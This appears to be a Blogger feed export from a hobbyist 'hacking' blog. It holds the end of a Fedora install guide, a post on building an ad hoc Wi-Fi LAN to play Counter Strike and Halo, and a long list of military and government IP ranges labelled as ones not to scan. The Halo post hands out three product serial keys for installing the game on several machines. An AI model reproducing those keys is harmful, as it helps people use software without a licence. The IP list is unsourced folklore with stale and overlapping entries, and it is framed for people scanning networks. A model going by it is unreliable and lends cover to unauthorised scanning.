&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh0iwFx1Jow7YDX4UmhkXuKLnkKo4B4-_KQ0p9Wkfmwhoi8Fk0OE0qepJnRaW5tlmeIh7pgJvV2bjEpKM6pKudk9E_6_bu19xnwaWg0K_w0qn5whG41XB_mqpvnbCtgZxXdSvzjIvx6dII/s1600/test.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;240&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh0iwFx1Jow7YDX4UmhkXuKLnkKo4B4-_KQ0p9Wkfmwhoi8Fk0OE0qepJnRaW5tlmeIh7pgJvV2bjEpKM6pKudk9E_6_bu19xnwaWg0K_w0qn5whG41XB_mqpvnbCtgZxXdSvzjIvx6dII/s320/test.png&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: center;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: center;&quot;&gt;
&lt;span style=&quot;text-align: left;&quot;&gt;Step 20: your Desktop………………….Here Fedora is ready to use&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: center;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj9PA0zA3BRuKdzMp5MWbzllA3y6xnX3MuOvgaQHM20_RuUKOfXPnJdZQHW_sNUYoHBuXf4OOkDI3bBGIzvJ-BDEdJjSCrGorEvcc3_IDt7d-tToQ5anlT6DZZcj6PRhfhcA9RN5DbVxoE/s1600/18.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;240&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj9PA0zA3BRuKdzMp5MWbzllA3y6xnX3MuOvgaQHM20_RuUKOfXPnJdZQHW_sNUYoHBuXf4OOkDI3bBGIzvJ-BDEdJjSCrGorEvcc3_IDt7d-tToQ5anlT6DZZcj6PRhfhcA9RN5DbVxoE/s320/18.png&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: center;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: center;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: center;&quot;&gt;
&lt;span style=&quot;text-align: left;&quot;&gt;:
- Enjoy Open source &amp;nbsp;and do 1+ if you like-:&lt;/span&gt;&amp;nbsp;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;/div&gt;
</content><link rel='replies' type='application/atom+xml' href='http://ashu-hackingforever.blogspot.com/feeds/7328230254919231956/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://ashu-hackingforever.blogspot.com/2012/11/how-to-install-fedora-linux.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5044415288327726339/posts/default/7328230254919231956'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5044415288327726339/posts/default/7328230254919231956'/><link rel='alternate' type='text/html' href='http://ashu-hackingforever.blogspot.com/2012/11/how-to-install-fedora-linux.html' title='How to install Fedora Linux:'/><author><name>Ashutosh</name><uri>http://www.blogger.com/profile/18095646711760167030</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhFDXfww7CtgMV4GHnrGPD8uBGASrOjDDbwbgdZW6HN0MVzY68aZSYpbYf4WuZqtiPBhZxq9iBeDEfxljfKiWcXU-nfCLxq2vXKTGfeXO-eq9-8-x6On1igWET9fbe9jvqRDSYDDhAvYQo/s72-c/1.png" height="72" width="72"/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5044415288327726339.post-7867845928834392056</id><published>2012-08-14T03:08:00.001-07:00</published><updated>2012-08-15T23:11:23.203-07:00</updated><title type='text'>How to play counter strike or Halo on wlan. OR  How to make wlan to share the Data.</title><content type='html'>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
Hey guys, we&amp;nbsp;oftentimes&amp;nbsp;need to connect two or More computers
with the LAN. &amp;nbsp;I am explaining you how to
connect computers in to a LAN. And How to play Counter Strike .Here are some
step are given below, just fallow &#39;em &amp;nbsp;And
you are done.&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;b&gt;TASK 1: wLAN
connection &lt;o:p&gt;&lt;/o:p&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
Step1: Turn on your WIFI.&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
Step2: Go to the control panel -&amp;gt; Network and Internet
-&amp;gt; Manage Wireless Networks.&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
Step3: Click on the Add.&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
Step4: Click on Create an ad hoc network-&amp;gt;Next-&amp;gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
Step5: A window as shown into figure will open. Write
network name as you wish.&amp;nbsp; Next TAB is
Security type. Select any of them (No Authentication, WEP or WAP2-Personal)
provide a security key (as per selection of security key) like password.&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
Step6: Click on Next-&amp;gt; Your Network is ready to use.&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
Step7:&amp;nbsp; Go to the
control panel -&amp;gt; Network and Internet -&amp;gt; Manage Wireless Networks.&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
Step 8: Click on the Adaptor properties-&amp;gt;Internet
Protocol Version 4(TCP/IPv4)&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
Step9: Set the IP address as 192.168.1.X and subnet mask As
255.255.255.0 (X can be any number &amp;nbsp;&amp;nbsp;1-254,
different computers have different IP by changing X in IP and subnet mask will
remain same) click on OK. Close all other window and your LAN connection is
done you can see a network of yours is in wireless network connection.&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;b&gt;TASK 2: How to play
counter strike on LAN.&lt;o:p&gt;&lt;/o:p&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
Step1: Install Counter Strike in each system.&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
Step2: Create a server by clicking on New Game.&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
Step 3: To join the game press consol button (~ the button
below Esc).and type “connect&amp;nbsp; Server
IP:Port no” port no will be 27015.&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
For Example: connect 192.168.1.2:27015&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
Step 4:press enter and you are in the game.&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;b&gt;TASK3: How to play
Halo on LAN.&lt;o:p&gt;&lt;/o:p&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
Step1: Install Halo in each system with different serial
key. Here some keys of Halo is given below.&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
vm324-f4k8w-b9ckb-79kh2-f2cbj&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
prqhy-w86mm-vrwpm-3fm4b-6qgwc&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;span lang=&quot;EN-US&quot;&gt;G9qk2-22kv6-tfxcr-v3y9m-2ccbj&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;span lang=&quot;EN-US&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;span lang=&quot;EN-US&quot;&gt;Step2: Create a game and other player will join game.One option is of direct IP.It works on port no 2302.&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;span lang=&quot;EN-US&quot;&gt;Example:&lt;/span&gt;192.168.1.2:2302&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
Enjoy, &amp;nbsp;happy LAN.&lt;/div&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div align=&quot;center&quot; class=&quot;MsoNormal&quot; style=&quot;text-align: center;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;br /&gt;&lt;/div&gt;
</content><link rel='replies' type='application/atom+xml' href='http://ashu-hackingforever.blogspot.com/feeds/7867845928834392056/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://ashu-hackingforever.blogspot.com/2012/08/how-to-play-counter-strike-or-halo-on.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5044415288327726339/posts/default/7867845928834392056'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5044415288327726339/posts/default/7867845928834392056'/><link rel='alternate' type='text/html' href='http://ashu-hackingforever.blogspot.com/2012/08/how-to-play-counter-strike-or-halo-on.html' title='How to play counter strike or Halo on wlan. OR  How to make wlan to share the Data.'/><author><name>Ashutosh</name><uri>http://www.blogger.com/profile/18095646711760167030</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5044415288327726339.post-3182529927901423697</id><published>2012-08-14T03:01:00.000-07:00</published><updated>2012-08-14T03:01:03.937-07:00</updated><title type='text'>Important IP, One should not scan these.</title><content type='html'>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;
&lt;br /&gt;
Don&#39;t try these&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
US GOVT IP ADDRESSES YOU SHOULD NOT SCAN&lt;br /&gt;
----------------------------------------&lt;br /&gt;
&lt;br /&gt;
RANGE 6&lt;br /&gt;
6.* - Army Information Systems Center&lt;br /&gt;
&lt;br /&gt;
RANGE 7&lt;br /&gt;
7.*.*.* Defense Information Systems Agency, VA&lt;br /&gt;
&lt;br /&gt;
RANGE 11&lt;br /&gt;
11.*.*.* DoD Intel Information Systems, Defense Intelligence Agency, Washington DC&lt;br /&gt;
&lt;br /&gt;
RANGE 21&lt;br /&gt;
21. - US Defense Information Systems Agency&lt;br /&gt;
&lt;br /&gt;
RANGE 22&lt;br /&gt;
22.* - Defense Information Systems Agency&lt;br /&gt;
&lt;br /&gt;
RANGE 24&lt;br /&gt;
24.198.*.*&lt;br /&gt;
&lt;br /&gt;
RANGE 25&lt;br /&gt;
25.*.*.* Royal Signals and Radar Establishment, UK&lt;br /&gt;
&lt;br /&gt;
RANGE 26&lt;br /&gt;
26.* - Defense Information Systems Agency&lt;br /&gt;
&lt;br /&gt;
RANGE 29&lt;br /&gt;
29.* - Defense Information Systems Agency&lt;br /&gt;
&lt;br /&gt;
RANGE 30&lt;br /&gt;
30.* - Defense Information Systems Agency&lt;br /&gt;
&lt;br /&gt;
RANGE 49&lt;br /&gt;
49.* - Joint Tactical Command&lt;br /&gt;
&lt;br /&gt;
RANGE 50&lt;br /&gt;
50.* - Joint Tactical Command&lt;br /&gt;
&lt;br /&gt;
RANGE 55&lt;br /&gt;
55.* - Army National Guard Bureau&lt;br /&gt;
&lt;br /&gt;
RANGE 55&lt;br /&gt;
55.* - Army National Guard Bureau&lt;br /&gt;
&lt;br /&gt;
RANGE 62&lt;br /&gt;
62.0.0.1 - 62.30.255.255 Do not scan!&lt;br /&gt;
&lt;br /&gt;
RANGE 64&lt;br /&gt;
64.70.*.* Do not scan&lt;br /&gt;
64.224.* Do not Scan&lt;br /&gt;
64.225.* Do not scan&lt;br /&gt;
64.226.* Do not scan&lt;br /&gt;
&lt;br /&gt;
RANGE 128&lt;br /&gt;
128.37.0.0 Army Yuma Proving Ground&lt;br /&gt;
128.38.0.0 Naval Surface Warfare Center&lt;br /&gt;
128.43.0.0 Defence Research Establishment-Ottawa&lt;br /&gt;
128.47.0.0 Army Communications Electronics Command&lt;br /&gt;
128.49.0.0 Naval Ocean Systems Center&lt;br /&gt;
128.50.0.0 Department of Defense&lt;br /&gt;
128.51.0.0 Department of Defense&lt;br /&gt;
128.56.0.0 U.S. Naval Academy&lt;br /&gt;
128.60.0.0 Naval Research Laboratory&lt;br /&gt;
128.63.0.0 Army Ballistics Research Laboratory&lt;br /&gt;
128.80.0.0 Army Communications Electronics Command&lt;br /&gt;
128.98.0.0 - 128.98.255.255 Defence Evaluation and Research Agency&lt;br /&gt;
128.102.0.0 NASA Ames Research Center&lt;br /&gt;
128.149.0.0 NASA Headquarters&lt;br /&gt;
128.154.0.0 NASA Wallops Flight Facility&lt;br /&gt;
128.155.0.0 NASA Langley Research Center&lt;br /&gt;
128.156.0.0 NASA Lewis Network Control Center&lt;br /&gt;
128.157.0.0 NASA Johnson Space Center&lt;br /&gt;
128.158.0.0 NASA Ames Research Center&lt;br /&gt;
128.159.0.0 NASA Ames Research Center&lt;br /&gt;
128.160.0.0 Naval Research Laboratory&lt;br /&gt;
128.161.0.0 NASA Ames Research Center&lt;br /&gt;
128.183.0.0 NASA Goddard Space Flight Center&lt;br /&gt;
128.190.0.0 Army Belvoir Reasearch and Development Center&lt;br /&gt;
128.202.0.0 50th Space Wing&lt;br /&gt;
128.216.0.0 MacDill Air Force Base&lt;br /&gt;
128.217.0.0 NASA Kennedy Space Center&lt;br /&gt;
128.236.0.0 U.S. Air Force Academy&lt;br /&gt;
&lt;br /&gt;
RANGE 129&lt;br /&gt;
129.23.0.0 Strategic Defense Initiative Organization&lt;br /&gt;
129.29.0.0 United States Military Academy&lt;br /&gt;
129.50.0.0 NASA Marshall Space Flight Center&lt;br /&gt;
129.51.0.0 Patrick Air Force Base&lt;br /&gt;
129.52.0.0 Wright-Patterson Air Force Base&lt;br /&gt;
129.53.0.0 - 129.53.255.255 66SPTG-SCB&lt;br /&gt;
129.54.0.0 Vandenberg Air Force Base, CA&lt;br /&gt;
129.92.0.0 Air Force Institute of Technology&lt;br /&gt;
129.99.0.0 NASA Ames Research Center&lt;br /&gt;
129.131.0.0 Naval Weapons Center&lt;br /&gt;
129.139.0.0 Army Armament Research Development and Engineering Center&lt;br /&gt;
129.141.0.0 85 MISSION SUPPORT SQUADRON/SCSN&lt;br /&gt;
129.163.0.0 NASA/Johnson Space Center&lt;br /&gt;
129.164.0.0 NASA IVV&lt;br /&gt;
129.165.0.0 NASA Goddard Space Flight Center&lt;br /&gt;
129.166.0.0 NASA - John F. Kennedy Space Center&lt;br /&gt;
129.167.0.0 NASA Marshall Space Flight Center&lt;br /&gt;
129.168.0.0 NASA Lewis Research Center&lt;br /&gt;
129.190.0.0 Naval Underwater Systems Center&lt;br /&gt;
129.198.0.0 Air Force Flight Test Center&lt;br /&gt;
129.209.0.0 Army Ballistics Research Laboratory&lt;br /&gt;
129.229.0.0 U.S. Army Corps of Engineers&lt;br /&gt;
129.251.0.0 United States Air Force Academy&lt;br /&gt;
&lt;br /&gt;
RANGE 130&lt;br /&gt;
130.40.0.0 NASA Johnson Space Center&lt;br /&gt;
130.90.0.0 Mather Air Force Base&lt;br /&gt;
130.109.0.0 Naval Coastal Systems Center&lt;br /&gt;
130.114.0.0 Army Aberdeen Proving Ground Installation Support Activity&lt;br /&gt;
130.124.0.0 Honeywell Defense Systems Group&lt;br /&gt;
130.165.0.0 U.S.Army Corps of Engineers&lt;br /&gt;
130.167.0.0 NASA Headquarters&lt;br /&gt;
&lt;br /&gt;
RANGE 131&lt;br /&gt;
131.3.0.0 - 131.3.255.255 Mather Air Force Base&lt;br /&gt;
131.6.0.0 Langley Air Force Base&lt;br /&gt;
131.10.0.0 Barksdale Air Force Base&lt;br /&gt;
131.17.0.0 Sheppard Air Force Base&lt;br /&gt;
131.21.0.0 Hahn Air Base&lt;br /&gt;
131.22.0.0 Keesler Air Force Base&lt;br /&gt;
131.24.0.0 6 Communications Squadron&lt;br /&gt;
131.25.0.0 Patrick Air Force Base&lt;br /&gt;
131.27.0.0 75 ABW&lt;br /&gt;
131.30.0.0 62 CS/SCSNT&lt;br /&gt;
131.32.0.0 37 Communications Squadron&lt;br /&gt;
131.35.0.0 Fairchild Air Force Base&lt;br /&gt;
131.36.0.0 Yokota Air Base&lt;br /&gt;
131.37.0.0 Elmendorf Air Force Base&lt;br /&gt;
131.38.0.0 Hickam Air Force Base&lt;br /&gt;
131.39.0.0 354CS/SCSN&lt;br /&gt;
131.40.0.0 Bergstrom Air Force Base&lt;br /&gt;
131.44.0.0 Randolph Air Force Base&lt;br /&gt;
131.46.0.0 20 Communications Squadron&lt;br /&gt;
131.47.0.0 Andersen Air Force Base&lt;br /&gt;
131.50.0.0 Davis-Monthan Air Force Base&lt;br /&gt;
131.52.0.0 56 Communications Squadron /SCBB&lt;br /&gt;
131.54.0.0 Air Force Concentrator Network&lt;br /&gt;
131.56.0.0 Upper Heyford Air Force Base&lt;br /&gt;
131.58.0.0 Alconbury Royal Air Force Base&lt;br /&gt;
131.59.0.0 7 Communications Squadron&lt;br /&gt;
131.61.0.0 McConnell Air Force Base&lt;br /&gt;
131.62.0.0 Norton Air Force Base&lt;br /&gt;
131.71.0.0 - 131.71.255.255 NAVAL AVIATION DEPOT CHERRY PO&lt;br /&gt;
131.74.0.0 Defense MegaCenter Columbus&lt;br /&gt;
131.84.0.0 Defense Technical Information Center&lt;br /&gt;
131.92.0.0 Army Information Systems Command - Aberdeen (EA)&lt;br /&gt;
131.105.0.0 McClellan Air Force Base&lt;br /&gt;
131.110.0.0 NASA/Michoud Assembly Facility&lt;br /&gt;
131.120.0.0 Naval Postgraduate School&lt;br /&gt;
131.121.0.0 United States Naval Academy&lt;br /&gt;
131.122.0.0 United States Naval Academy&lt;br /&gt;
131.176.0.0 European Space Operations Center&lt;br /&gt;
131.182.0.0 NASA Headquarters&lt;br /&gt;
131.250.0.0 Office of the Chief of Naval Research&lt;br /&gt;
&lt;br /&gt;
RANGE 132&lt;br /&gt;
132.3.0.0 Williams Air Force Base&lt;br /&gt;
132.5.0.0 - 132.5.255.255 49th Fighter Wing&lt;br /&gt;
132.6.0.0 Ankara Air Station&lt;br /&gt;
132.7.0.0 - 132.7.255.255 SSG/SINO&lt;br /&gt;
132.9.0.0 28th Bomb Wing&lt;br /&gt;
132.10.0.0 319 Comm Sq&lt;br /&gt;
132.11.0.0 Hellenikon Air Base&lt;br /&gt;
132.12.0.0 Myrtle Beach Air Force Base&lt;br /&gt;
132.13.0.0 Bentwaters Royal Air Force Base&lt;br /&gt;
132.14.0.0 Air Force Concentrator Network&lt;br /&gt;
132.15.0.0 Kadena Air Base&lt;br /&gt;
132.16.0.0 Kunsan Air Base&lt;br /&gt;
132.17.0.0 Lindsey Air Station&lt;br /&gt;
132.18.0.0 McGuire Air Force Base&lt;br /&gt;
132.19.0.0 100CS (NET-MILDENHALL)&lt;br /&gt;
132.20.0.0 35th Communications Squadron&lt;br /&gt;
132.21.0.0 Plattsburgh Air Force Base&lt;br /&gt;
132.22.0.0 23Communications Sq&lt;br /&gt;
132.24.0.0 Dover Air Force Base&lt;br /&gt;
132.25.0.0 786 CS/SCBM&lt;br /&gt;
132.27.0.0 - 132.27.255.255 39CS/SCBBN&lt;br /&gt;
132.28.0.0 14TH COMMUNICATION SQUADRON&lt;br /&gt;
132.30.0.0 Lajes Air Force Base&lt;br /&gt;
132.31.0.0 Loring Air Force Base&lt;br /&gt;
132.33.0.0 60CS/SCSNM&lt;br /&gt;
132.34.0.0 Cannon Air Force Base&lt;br /&gt;
132.35.0.0 Altus Air Force Base&lt;br /&gt;
132.37.0.0 75 ABW&lt;br /&gt;
132.38.0.0 Goodfellow AFB&lt;br /&gt;
132.39.0.0 K.I. Sawyer Air Force Base&lt;br /&gt;
132.40.0.0 347 COMMUNICATION SQUADRON&lt;br /&gt;
132.42.0.0 Spangdahlem Air Force Base&lt;br /&gt;
132.43.0.0 Zweibruchen Air Force Base&lt;br /&gt;
132.45.0.0 Chanute Air Force Base&lt;br /&gt;
132.46.0.0 Columbus Air Force Base&lt;br /&gt;
132.48.0.0 Laughlin Air Force Base&lt;br /&gt;
132.49.0.0 366CS/SCSN&lt;br /&gt;
132.50.0.0 Reese Air Force Base&lt;br /&gt;
132.52.0.0 Vance Air Force Base&lt;br /&gt;
132.54.0.0 Langley AFB&lt;br /&gt;
132.55.0.0 Torrejon Air Force Base&lt;br /&gt;
132.56.0.0 - 132.56.255.255 9 CS/SC&lt;br /&gt;
132.57.0.0 Castle Air Force Base&lt;br /&gt;
132.58.0.0 Nellis Air Force Base&lt;br /&gt;
132.59.0.0 24Comm SquadronSCSNA&lt;br /&gt;
132.60.0.0 - 132.60.255.255 42ND COMMUNICATION SQUADRON&lt;br /&gt;
132.61.0.0 SSG/SIN&lt;br /&gt;
132.62.0.0 - 132.62.255.255 377 COMMUNICATION SQUADRON&lt;br /&gt;
132.79.0.0 Army National Guard Bureau&lt;br /&gt;
132.80.0.0 - 132.80.255.255 NGB-AIS-OS&lt;br /&gt;
132.80.0.0 - 132.85.255.255 National Guard Bureau&lt;br /&gt;
132.82.0.0 Army National Guard Bureau&lt;br /&gt;
132.86.0.0 National Guard Bureau&lt;br /&gt;
132.87.0.0 - 132.93.255.255 National Guard Bureau&lt;br /&gt;
132.94.0.0 Army National Guard Bureau&lt;br /&gt;
132.95.0.0 - 132.103.255.255 National Guard Bureau&lt;br /&gt;
132.95.0.0 - 132.108.0.0 DOD Network Information Center&lt;br /&gt;
132.104.0.0 - 132.104.255.255 Army National Guard Bureau&lt;br /&gt;
132.105.0.0 - 132.108.255.255 Army National Guard Bureau&lt;br /&gt;
132.109.0.0 National Guard Bureau&lt;br /&gt;
132.110.0.0 - 132.116.255.255 Army National Guard Bureau&lt;br /&gt;
132.114.0.0 Army National Guard&lt;br /&gt;
132.117.0.0 Army National Guard Bureau&lt;br /&gt;
132.118.0.0 - 132.132.0.0 Army National Guard Bureau&lt;br /&gt;
132.122.0.0 South Carolina Army National Guard, USPFO&lt;br /&gt;
132.133.0.0 National Guard Bureau&lt;br /&gt;
132.134.0.0 - 132.143.255.255 National Guard Bureau&lt;br /&gt;
132.159.0.0 Army Information Systems Command&lt;br /&gt;
132.193.0.0 Army Research Office&lt;br /&gt;
132.250.0.0 Naval Research Laboratory&lt;br /&gt;
&lt;br /&gt;
RANGE 134&lt;br /&gt;
134.5.0.0 Lockheed Aeronautical Systems Company&lt;br /&gt;
134.11.0.0 The Pentagon&lt;br /&gt;
134.12.0.0 NASA Ames Research Center&lt;br /&gt;
134.51.0.0 Boeing Military Aircraft Facility&lt;br /&gt;
134.52.*.* Boeing Corporation&lt;br /&gt;
134.78.0.0 Army Information Systems Command-ATCOM&lt;br /&gt;
134.80.0.0 Army Information Systems Command&lt;br /&gt;
134.118.0.0 NASA/Johnson Space Center&lt;br /&gt;
134.131.0.0 Wright-Patterson Air Force Base&lt;br /&gt;
134.136.0.0 Wright-Patterson Air Force Base&lt;br /&gt;
134.164.0.0 Army Engineer Waterways Experiment Station&lt;br /&gt;
134.165.0.0 Headquarters Air Force Space Command&lt;br /&gt;
134.194.0.0 U.S. Army Aberdeen Test Center&lt;br /&gt;
134.205.0.0 7th Communications Group&lt;br /&gt;
134.207.0.0 Naval Research Laboratory&lt;br /&gt;
134.229.0.0 Navy Regional Data Automation Center&lt;br /&gt;
134.230.0.0 Navy Regional Data Automation Center&lt;br /&gt;
134.232.0.0 - 134.232.255.255 U.S. Army, Europe&lt;br /&gt;
134.233.0.0 HQ 5th Signal Command&lt;br /&gt;
134.234.0.0 - 134.234.255.255 Southern European Task Force&lt;br /&gt;
134.235.0.0 HQ 5th Signal Command&lt;br /&gt;
134.240.0.0 U.S. Military Academy&lt;br /&gt;
136.149.0.0 Air Force Military Personnel Center&lt;br /&gt;
&lt;br /&gt;
RANGE 136&lt;br /&gt;
136.178.0.0 NASA Research Network&lt;br /&gt;
136.188.0.0 - 136.197.255.255 Defense Intelligence Agency&lt;br /&gt;
136.207.0.0 69th Signal Battalion&lt;br /&gt;
136.208.0.0 HQ, 5th Signal Command&lt;br /&gt;
136.209.0.0 HQ 5th Signal Command&lt;br /&gt;
136.210.0.0 HQ 5th Signal Command&lt;br /&gt;
136.212.0.0 HQ 5th Signal Command&lt;br /&gt;
136.213.0.0 HQ, 5th Signal Command&lt;br /&gt;
136.214.0.0 HQ, 5th Signal Command&lt;br /&gt;
136.215.0.0 HQ, 5th Signal Command&lt;br /&gt;
136.216.0.0 HQ, 5th Signal Command&lt;br /&gt;
136.217.0.0 HQ, 5th Signal Command&lt;br /&gt;
136.218.0.0 HQ, 5th Signal Command&lt;br /&gt;
136.219.0.0 HQ, 5th Signal Command&lt;br /&gt;
136.220.0.0 HQ, 5th Signal Command&lt;br /&gt;
136.221.0.0 HQ, 5th Signal Command&lt;br /&gt;
136.222.0.0 HQ, 5th Signal Command&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
RANGE 137&lt;br /&gt;
137.1.0.0 Whiteman Air Force Base&lt;br /&gt;
137.2.0.0 George Air Force Base&lt;br /&gt;
137.3.0.0 Little Rock Air Force Base&lt;br /&gt;
137.4.0.0 - 137.4.255.255 437 CS/SC&lt;br /&gt;
137.5.0.0 Air Force Concentrator Network&lt;br /&gt;
137.6.0.0 Air Force Concentrator Network&lt;br /&gt;
137.11.0.0 HQ AFSPC/SCNNC&lt;br /&gt;
137.12.0.0 Air Force Concentrator Network&lt;br /&gt;
137.17.* National Aerospace Laboratory&lt;br /&gt;
137.24.0.0 Naval Surface Warfare Center&lt;br /&gt;
137.29.0.0 First Special Operations Command&lt;br /&gt;
137.67.0.0 Naval Warfare Assessment Center&lt;br /&gt;
137.94.* Royal Military College&lt;br /&gt;
137.95.* Headquarters, U.S. European Command&lt;br /&gt;
137.126.0.0 USAF MARS&lt;br /&gt;
137.127.* Army Concepts Analysis Agency&lt;br /&gt;
137.128.* U.S. ARMY Tank-Automotive Command&lt;br /&gt;
137.130.0.0 Defense Information Systems Agency&lt;br /&gt;
137.209.0.0 Defense Information Systems Agency&lt;br /&gt;
137.210.0.0 Defense Information Systems Agency&lt;br /&gt;
137.211.0.0 Defense Information Systems Agency&lt;br /&gt;
137.212.0.0 Defense Information Systems Agency&lt;br /&gt;
137.231.0.0 HQ 5th Signal Command&lt;br /&gt;
137.232.0.0 Defense Information Systems Agency&lt;br /&gt;
137.233.0.0 Defense Information Systems Agency&lt;br /&gt;
137.234.0.0 Defense Information Systems Agency&lt;br /&gt;
137.235.0.0 Defense Information Systems Agency&lt;br /&gt;
137.240.0.0 Air Force Materiel Command&lt;br /&gt;
137.241.0.0 75 ABW&lt;br /&gt;
137.242.0.0 Air Force Logistics Command&lt;br /&gt;
137.243.0.0 77 CS/SCCN&lt;br /&gt;
137.244.0.0 78 CS/SCSC&lt;br /&gt;
137.245.0.0 Wright Patterson Air Force Base&lt;br /&gt;
137.246.0.0 United States Atlantic Command Joint Training&lt;br /&gt;
&lt;br /&gt;
RANGE 138&lt;br /&gt;
138.13.0.0 Air Force Systems Command&lt;br /&gt;
138.27.0.0 Army Information Systems Command&lt;br /&gt;
138.50.0.0 HQ 5th Signal Command&lt;br /&gt;
138.65.0.0 HQ, 5th Signal Command&lt;br /&gt;
138.76.0.0 NASA Headquarters&lt;br /&gt;
138.109.0.0 Naval Surface Warfare Center&lt;br /&gt;
138.115.0.0 NASA Information and Electronic Systems Laboratory&lt;br /&gt;
138.135.0.0 - 138.135.255.255 DEFENSE PROCESSING CENTERPERAL HARBOR&lt;br /&gt;
138.136.0.0 - 138.136.255.255 Navy Computers and Telecommunications Station&lt;br /&gt;
138.137.0.0 Navy Regional Data Automation Center (NARDAC)&lt;br /&gt;
138.139.0.0 Marine Corps Air Station&lt;br /&gt;
138.140.0.0 Navy Regional Data Automation Center&lt;br /&gt;
138.141.0.0 Navy Regional Data Automation Center&lt;br /&gt;
138.142.0.0 Navy Regional Data Automation Center&lt;br /&gt;
